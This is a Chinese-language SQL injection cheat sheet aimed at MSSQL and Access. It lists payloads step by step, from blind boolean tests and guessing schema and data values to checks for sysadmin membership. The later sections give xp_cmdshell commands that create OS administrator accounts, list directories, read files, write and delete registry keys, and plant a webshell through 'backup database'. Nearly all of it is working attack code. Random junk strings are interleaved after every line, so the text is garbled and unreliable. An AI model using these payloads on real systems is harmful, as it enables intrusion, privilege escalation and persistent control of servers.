1.判断是否有注入;and 1=1 ;and 1=2 [[oX$0Fp\!
2.初步判断是否是mssql ;and user>0 o24`5Jdh
l3b$b%0'
3.注入参数是字符'and [查询条件] and ''=' k]ptk^
KX[_eOL
4.搜索时没过滤参数的'and [查询条件] and '%25'=' >bEH&7+@_'
2
os&d|
5.判断数据库系统 I6{}S6
M+
8!#n
;and (select count(*) from sysobjects)>0 mssql Yg<o 9x$
`c(,_oa{
;and (select count(*) from msysobjects)>0 access .e"De-u
b4S7Q"g
) m%ghpX
J$j&j`
6.猜数据库 ;and (select Count(*) from [数据库名])>0 !gW$A-XD
pj?+cy
v~
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 3yZtyXRPn
(ZT*EFhb(
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ol:,02E&
P\*-n"
9.(1)猜字段的ascii值(access) ?dC[VYC\^
oT5?*3f
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 aq0J }4U
)}]<o
|'
(2)猜字段的ascii值(mssql) AL&}WbUC
r/Qq-1E
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 \02j~r`o
s|"V$/X(W
10.测试权限结构(mssql) "|.>pD#0&
f|w+}z
.A&Ey5
+2|X 7wA
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- eLL>ThMyW
yL_-w/a
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- $ 6Nm`[V
$/Zsy6q:
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- zf5s\w.4
_+wv3?
c"
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- R]m`v: 9
FWq6e,
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 0r_8/|N#
/^P^K
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- MS_&;2
X+?*Tw!\
;and 1=(select IS_MEMBER('db_owner'));-- B#B$w_z
aVO5zR./)
]J~37 35]
s~IOc%3
11.添加mssql和系统的帐户 OzX\s=
`P)1RTVx
;exec master.dbo.sp_addlogin username;-- w`c9_V
;exec master.dbo.sp_password null,username,password;-- va95/(
%R7Q`!@8
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- V7[Dvg:W
d3&gHt2
;exec master.dbo.xp_cmdshell 'net user username password V`pTl3
*<Fz1~%*
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- B[S.6"/H
7iLm_#M
;exec master.dbo.xp_cmdshell 'net user username password /add';-- o-lb/=K+
)[~ #j6
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- \#m;L/D
g4oFUyk{
vD[@cm
N+"Y@X yg
12.(1)遍历目录 |pqLwnOu
]6pxd \Q
;create table dirs(paths varchar(100), id int) /h0-qW
ie
2X.#
;insert dirs exec master.dbo.xp_dirtree 'c:\' 5w@ ;B
DcQ^V4_
;and (select top 1 paths from dirs)>0 oZA|IF8U0
A0V"5syY
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) wkdd&Nw;
F$ZWQ9&5U0
PxfeU2^{0
o~NeS|a
(2)遍历目录 7B"J x^
0`h[|FYV
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- X']>b
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 P qagep d
+h9UV
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 +&4PGv53J
h:z;b;
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 -E2[PW4$
J.$<Lnt>u
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 Av.(i2
o!q9pt
/JEH%)
(|'w$
13.mssql中的存储过程 Zj<oh8
0s$g[Fw<.
xp_regenumvalues 注册表根键, 子键 V*=cNj
yD#w @yG
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 #_2V@F+,
$\81WsL'
xp_regread 根键,子键,键值名 Eh!%NeO
d%t]:41=Z
;exec xp_regread umcbIi('
W#u}d2mP
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 T5 5l-.>
)_GM&-
xp_regwrite 根键,子键, 值名, 值类型, 值 I%e7:cs >
JV36@DVQ
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 c5;YKON
}h+a8@
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 i_`YZ7Hxp
DECX18D
xp_regdeletevalue 根键,子键,值名 Wq<>a;m
}ebw1G
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 %b\xRt[0v7
6ynQCD
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 7 z<!2
/nv1.c)k
reu[}k ~
[O"i!AQ
14.mssql的backup创建webshell 2O<Sig=
)P|%=laE8
use model >z>UtT:
F#X\}MvEU
create table cmd(str image); L9Fx
Lw41
"'t<R}t!A
insert into cmd(str) values (''); ^b-H
O3bK>9<K
backup database model to disk='c:\l.asp'; `Jm{K*&8Q
oxO}m7ULH
oq8~PTw
6WceDY
15.mssql内置函数 <' P|g
1G.+)*:3
;and (select @@version)>0 获得Windows的版本号 Q Aygr4\X^
_9!Ru!u~
;and user_name()='dbo' 判断当前系统的连接用户是不是sa k_P`t[YZV
T2Y`q'
;and (select user_name())>0 爆当前系统的连接用户 R&ou4Y:DG
`c :'il?
;and (select db_name())>0 得到当前连接的数据库 7c
%@2
&sS k~:
_j%Rm:m;<
ry~3YYEMI0
16.简洁的webshell M#<x2ojW
Z"Et]xSU%$
use model 2<ef&?ljk
/R|"/B0
create table cmd(str image); KO)<Zh
Wv=L_E_
insert into cmd(str) values (''); mG?a)P
PDD` eK}Fj
backup database model to disk='g:\wwwtest\l.asp';